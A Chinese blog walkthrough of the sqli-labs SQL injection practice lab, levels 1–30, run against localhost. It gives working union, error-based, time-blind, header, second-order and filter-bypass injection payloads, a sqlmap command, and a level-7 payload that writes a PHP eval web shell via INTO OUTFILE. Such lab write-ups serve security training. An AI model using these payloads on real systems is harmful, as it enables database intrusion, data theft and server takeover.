sqli-map 1-30 通关胡写

原创 已于 2022-08-29 09:20:21 修改 · 342 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#数据库 #mysql #php

于 2022-08-23 19:44:11 首次发布

第1关

看我sql入门篇就行

第2关

同第一关，只是少了’号

http://localhost/Less-2/?id=1 order by 3 --+

第3关

先来个简单的’试一下

发现里面有括号,报错引号对不上,那就再加个右括号就可以了

http://localhost/Less-3/?id=1=1') union select 1,2,3 --+

看了眼源代码,也得却如此,sql查询语句中有(‘id’)

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

第四关

同第三关

单"直接报错,而’没有问题

就可以直接在"上加右括号就行

http://localhost/Less-4/?id=1=1") union select 1,2,3 --+

查看sql语句,直接在id上加上了""

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

第5关

sql语句会几乎不会显示内容,我们再加入个’回显示错误的原因

就可以用报错回显或者DNSlog或者是盲注

先来个报错

这不正常显示了吗?

http://localhost/Less-5/?id=1=1' and updatexml(1 ,concat(0x7e,version(),0x7e),1) --+

后面就看我写的报错注入文章就行了

时间盲注 和 布尔盲注 太靠人品了 就不细讲了

DNSlog操作太频繁

第六关

同第五关,直接加个"双引号就可以了,上面则是单引号

http://localhost/Less-6/?id=1=1' and updatexml(1 ,concat(0x7e,version(),0x7e),1) --+

第7关

改文件

直接获取权限

?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "F:\\WhiteFlie\\PhpStudy20180211\\PHPTutorial\\WWW\\sqli-labs\\ttt.php"--+

第8关

直接用报错试试

好家伙,错误直接不给你显示了.

还可以试试DNSlog或者盲猜

这就试试sqlmap吧

先来个爆库试试

sqlmap -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql --dbs --batch --threads 10

跑到一半就没法跑了,估计腾讯云已经认为我服务器遭到了攻击,给挡住了

![]（https://www.netsafe.top/wp-content/uploads/2021/11/803.png)

第9关

无论写什么都是 you are in…

在这里是单引号

问题就来了,这就要用到时间盲注或者DNSlog回显

时间盲注太费时间 可以看我写的DNSlog回显,上面是基于第9关写的

第10关

和第九关区别不太大,只是改为了双引号,就不详细说了

第11关

如果这是个新手教程,那么第11关和第一关应该一样只是加了个’号

好了, 我们去看看有多少列吧

只有两列

把sql注入中阶里的爆表改成两列

当然你可以用时间盲注,布尔盲注,DNSlog回显,也可以跟我刚才一样用union联合查询

第12关

如果按照上面的第2关的思路来说,那么第12关就是直接将单引号变为双引号就可以了,实际上并不是,我们就看一眼源代码

$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

那么只能双引号闭合了

uname=admin" and extractvalue(1,concat(0x7e,(select database())))  and " &passwd=admin

让我们改改源代码,看看上交了啥?

admin的与或计算

当然也可以把括号闭合起来,直接利用union

uname=0") union select 1,database() --+ &passwd=admin

具体方式就不说了

第13关

不显示正确信息,看看报错信息是否显示

还好错误是显示的,就用错误回显就可以了

把上面的错误回显的代码利用下

竟然什么都不显示了,可恶啊

换成单引号

uname=admin' and extractvalue(1,concat(0x7e,(select database())))  and ' &passwd=admin

显示了

其实可以用 Dnslog回显来解决的

第15关

试了一下单引号和双引号,什么都不显示,那么只能DNSlog回显或者时间盲注了


uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

# 如果对就5s后显示,不对就1s后显示

第16关

跟15关一样,还是时间盲注,不过要改成双引号加括号


uname=admin") and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

如果对就5s后显示,不对就1s后显示

第17关

我在错误回显里讲过,就不细说了

第18关

要进行密码检测和用户检测,外方法不行了

再看看源代码


$uagent = $_SERVER['HTTP_USER_AGENT'];

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);

那就是http头部注入呗

再pikapika文章里讲个http头部注入,过程可以参考那个

第19关

要抓包,抓refer头部

流程跟上面的user_agent头部抓取流程一样

Referer:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

第20关

这是cookie 我在之前的sql注入第一章里讲过

第21关

这是Base64字节注入 同上

-admin') union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

第22关

还是21关那个老味道了,只是把单引号和括号去掉,变成了双引号了,达成了闭合

-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

第23关

看了一眼源代码,是把注释给去掉了

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

直接进行闭合就可以了

?id=' union select 1,2,database() '

第24关

双注入

  1. 注册一个admin’#的账号。

  1. 登录admin’#该，修改该帐号的密码，此时修改的就是admin的密码，我修改为123456。

Sql语句变为UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ’ AND password=’

也就是执行了UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’

成功的话跳转页面会提示Password successfully updated

  1. 用刚修改的密码我的是123456，登陆admin管理员账号，就可以成功登陆。

完成

第25关

看一眼源代码

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}

原来是进行了and 和 or的屏蔽

就直接用union直接注入得了

?id=-1' union select 1,2,database()--+

第26关

看了眼源代码，是直接屏蔽了各种符号和字符

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

可以直接利用错误回显进行解决,因为update函数不需要空格,or和and可以用运算符号进行解决

?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1

第27关

再看一眼源代码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

屏蔽了一堆,但是没有进行大小写统一化,所以,我可以尝试将中间的字母进行大小写打乱,当然仍然可以用错误回显

updatexml:你禁了select和union关我什么事

?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1

所以,上题用的语句在这里仍然可以解决

第28关

先试试错误回显,然后发现不显示错误回报了

还是得看代码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

屏蔽了注释符号 空格 还有 union select

使用正显就可以了

空格用%0d

?id=0')union%0dunion%0dselectselect%0d1,2,3;%00

第29关

就简单试了一下就过了

?id=-1' union select 1,2,database()--+

意义不明,查了一下,说是waf的防火墙漏洞

第30关

还是waf防火墙漏洞

?id=-1" union select 1,2,database()--+

这两个题出的真奇怪

靶场系列：sqllibs安装、sqli-labs靶场搭建以及闯关（1-22关）
weixin_54626591的博客
12-05 3967
sqllibs安装、sqli-labs靶场搭建以及闯关（1-22关）
【sqlmap】sqli-labs速通攻略
weixin_47383889的博客
10-07 1910
使用sqlmap针对sqli-labs靶场进行测试
*SQL MAP配置*
pang_yxiao专栏
07-03 972
  例如：file:///c:/config/my.properties" />（二）   例如：file:///c:/config/my.properties" />（二） 元素元素用于配置和优化利用XML配置文件创建的SqlMapClient实例。元素及其所有的属性都是可选的。下面列出了元素支持的属性和功能：1. maxExecute 同时执行一个Sql statement
sql-map-master闯关
m0_56153480的博客
12-07 715
1-6闯关： 第一步：先查看属于整型还是字符型（and 1=2）,如果不发生变化，说明数据没有变为代码，则为字符型，否则为整型。 第二步：如果判断为字符型，在判断跟哪个字符有关，一般与单引号‘和双引号”有关。 第三步：确定与哪个字符有关之后，在注释掉这个符号，观察发不发生变化，如果改变则就是这个符号。如果不是，找到它的组合括号），在进行测试（与前边步骤一样）。 第一关：与 ’有关 第二关：是整型 第三关： 为 ’） 第四关：为 ”） 第五关：为 ‘ 第六关：为 ” ...
零基础学SQL注入必练靶场之SQLiLabs（搭建+打靶）
热门推荐
Ms08067安全实验室
12-20 2万+
文章来源 | MS08067Web零基础就业班1期作业本文作者：giunwr、tyrant（零基础1期）SQLi-Labs是一个专业的SQL注入漏洞练习靶场，零基础的同学学SQL注入的时候，sqli-labs这个靶场是必练的，它里面包含了很多注入场景，以及在sql注入的时候遇到的各种问题，适用于GET和POST场景，包含了以下注入：一、作业描述完成sqllibs前18关，尽可能使用多的方法二、s...
Sql-labs 第21-30关 通过笔记
weixin_45619494的博客
10-07 420
后面 ' 和源码的 ' 变成 " ，和前面的" 闭合，从而注释了 后面 的 limit 0,1"因为 ‘ 闭合了 前面的 ' ，所以 admin'# 变成了 admin,# 注释了后面内容。为循环select过滤，用Select试下，还是过滤了，再用selecT试下，发现爆了！看源码，过滤 全家桶（ or，and ， /* , – , # , 空格 , /)看源码，过滤 全家桶（ or，and ， /* , – , # , 空格 , /)id=-1' union select 1 ' 有用了。
sqlmap学习(sqli-labs为示例)
quan9i的博客
02-17 5375
文章目录前言sql-map部分指令- -is-dba- -current-D，-T，-C- -dump-v--batchget类型检测可注入类型获取数据库获取表获取列名获取字段信息post类型准备工作检测可注入类型破解数据库方法一方法二破解数据表方法一方法二获取列名方法一方法二获取字段信息方法一方法二 前言 由于python学的啥也不是，脚本写的也很不咋滴（不会写），因此来学习sqlmap的使用，本人只是小白，如果出现错误还请各位师傅多多指正。 sql-map部分指令 - -is-dba --is-dba判
SQLmap使用方法，sqli-labs靶场
ZhangAweio的博客
04-10 678
SQL-map是一个非常强大的注入的工具，自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL进行SQL注入，支持mysql、sql-service 等简单使用nmap进行查询数据。
漏洞复现之Joomla: RCE/CVE-2017-8917/CVE-2015-8562
weixin_44508748的博客
03-22 1997
这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Ma...
上传漏洞 Upload-Labs实战
浪子燕青的博客
02-25 5722
上传漏洞 Upload-Labs-1 Upload-labs是国内一个老哥c0ny1开源的上传漏洞靶子，下载地址 https://github.com/c0ny1/upload-labs 与sqli-labs有些类似，主要专注于上传漏洞这一块。 为了方便下载，已经保存到当前服务器下 下载地址 环境搭建 默认下载PHP+Mysql即可，如果之前有搭建过sqli-labs的话，直接把项目放在www目录下即可。 然后打开，这个时候网页会提示undefined index。。。。，这其实不是异常，而是PHP的提示
04 渗透测试基础
weixin_43234021的博客
01-04 1万+
渗透测试基础一 代码审计1 基础环境搭建(1) Web服务：WAMP+phpstudy(2) phpstudy2 HTML 表单 一 代码审计 1 基础环境搭建 (1) Web服务：WAMP+phpstudy (2) phpstudy 启动问题 端口正常开放 80 http 3306 mysql web根目录[C:\Users\dq\Documents\phpStudy-1-24\phpStudy\WWW] php 探针 phpinfo.php phpmyadmin Apache配置文件：[
sqli-maps less-24
hsjabaa的博客
04-13 108
Less24 二次注入 admin’# root 1.注册新账号 2.修改密码代码 "UPDATE users SET PASSWORD=‘KaTeX parse error: Expected 'EOF', got '#' at position 29: …sername='admin’#̲' and password=…curr_pass’ ";
Sqli-labs闯关详解带python脚本详解
westlife
10-24 3328
Sqli-labs-less1 *作为一个萌新小白,学了一段时间的python和web安全类的知识，打算写一点东西记录自己的成长。 尽量每一个关卡都利用python不同的风骚姿势。* ![shabi](https://img-blog.youkuaiyun.com/20181024192015475?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl...
sqli-labs第二十一关详解（这次用sqlmap）
金 帛的博客
05-09 3158
SQL靶场第二十一关答案详解，这次用sqlmap跑
sql-map 工具使用教程
m0_65096687的博客
10-29 1718
这里主要是编辑$dbpass='';这里，写phpstudy的数据库密码。下载后放在phpstudy/www/ 目录下。更改文件用记事本编辑db-creds.inc。7.mysql的登录账户和密码。1.清除sqlmap缓存。6.列出所有使用过的账户。2.检测注入点是否可用。4.暴当前使用的数据库。5.暴当前使用的账户。8.列出数据库中的表。
【渗透测试】sqli-labs闯关(1-10)
qq_43168364的博客
04-20 611
第一关
sqllabs 闯关wp
wsitcj的博客
07-20 354
Less 1 首先先测试为字符型，并且干扰字符为 单引号 ，所以构造语句如下 http://192.168.9.128/sqli-labs/Less-1/?id=1%27%20--+ 爆字段 http://192.168.9.128/sqli-labs/Less-1/?id=1' order by 3--+ 爆表 不要忘了 group_concat 函数 http://192.168.9.128/sqli-labs/Less-1/?id=999' union select 1,group_con
sqlmap过SQLi-LABS靶场 1-10关
小明师傅博客
06-04 8826
今天我们来用sqlmap去做SQLi-LABS靶场 首先来讲一下基础命令 1.清除sqlmap缓存： 第一个办法：在C:\Users\dragoneyes.sqlmap\output，删除output里面的内容 第二个办法：sqlmap.py --purge 2.sqlmap -u 注入点 检测注入点是否可用 sqlmap -u 注入点 –batch 自动输入 暴库 sqlmap -u 注入点 –dbs //暴库 Web当前使用的数据库 sqlmap -u 注入点 –current-db //爆当前使用的库
sqli-labs1-7通关
最新发布
01-01
### SQLi-Labs 1-7 关卡解题思路 #### Less-1: 基础 GET 请求注入 在这一关中，目标是在 URL 参数 `id` 中注入 SQL 语句来获取数据库中的信息。通过输入 `' OR '1'='1` 可以绕过身份验证并登录成功[^1]。 ```sql ?id=1' or '1'='1 ``` #### Less-2: 使用 UNION SELECT 注入 此关涉及使用 `UNION SELECT` 来联合查询其他表的内容。为了找到合适的列数，可以逐个增加返回的结果集数量直到页面不再报错为止。一旦确定了正确的列数，则可以通过这些列读取任意表格的信息[^3]。 ```sql ?id=-1 UNION ALL SELECT NULL,NULL FROM information_schema.tables WHERE table_schema=database()# ``` #### Less-3: 报错注入 利用 MySQL 的内置函数如 `extractvalue()` 或者 `updatexml()` 实现基于错误回显的 SQL 注入攻击。这允许直接从服务器响应中提取敏感数据而无需额外请求。 ```sql ?uname=1' AND extractvalue(1,concat(0x7e,(SELECT database())))--+&passwd=1&submit=Submit ``` #### Less-4: 时间盲注 当无法看到具体的错误消息时，可采用时间延迟技术来进行推测性的注入测试。例如，如果存在漏洞则会使查询等待一段时间再继续执行。 ```sql ?id=1' AND IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),NULL)--+ ``` #### Less-5: 基于布尔条件的时间盲注 进一步扩展上一关的概念，在不知道确切版本号的情况下也可以利用布尔表达式的真假判断配合 SLEEP 函数完成注入操作[^2]。 ```sql ?id=1' AND (IF((ASCII(SUBSTRING(version(),1,1)))>50,BENCHMARK(5000000,SHA1('A')),false))--+ ``` #### Less-6: 多参数注入 本关考察如何处理多个输入字段的同时注入问题。通常情况下只需要在一个地方构造恶意负载即可影响整个查询逻辑[^4]。 ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x7E,password) FROM users # ``` #### Less-7: 文件写入与读取 最后一关涉及到更高级别的功能——将查询结果保存成文件并通过 Web 访问路径下载下来查看具体内容。这一步骤可能需要用到 INTO OUTFILE 子句以及 LOAD_FILE() 函数实现本地文件系统的交互。 ```sql ?id=1' union all select null,'<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php'# ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值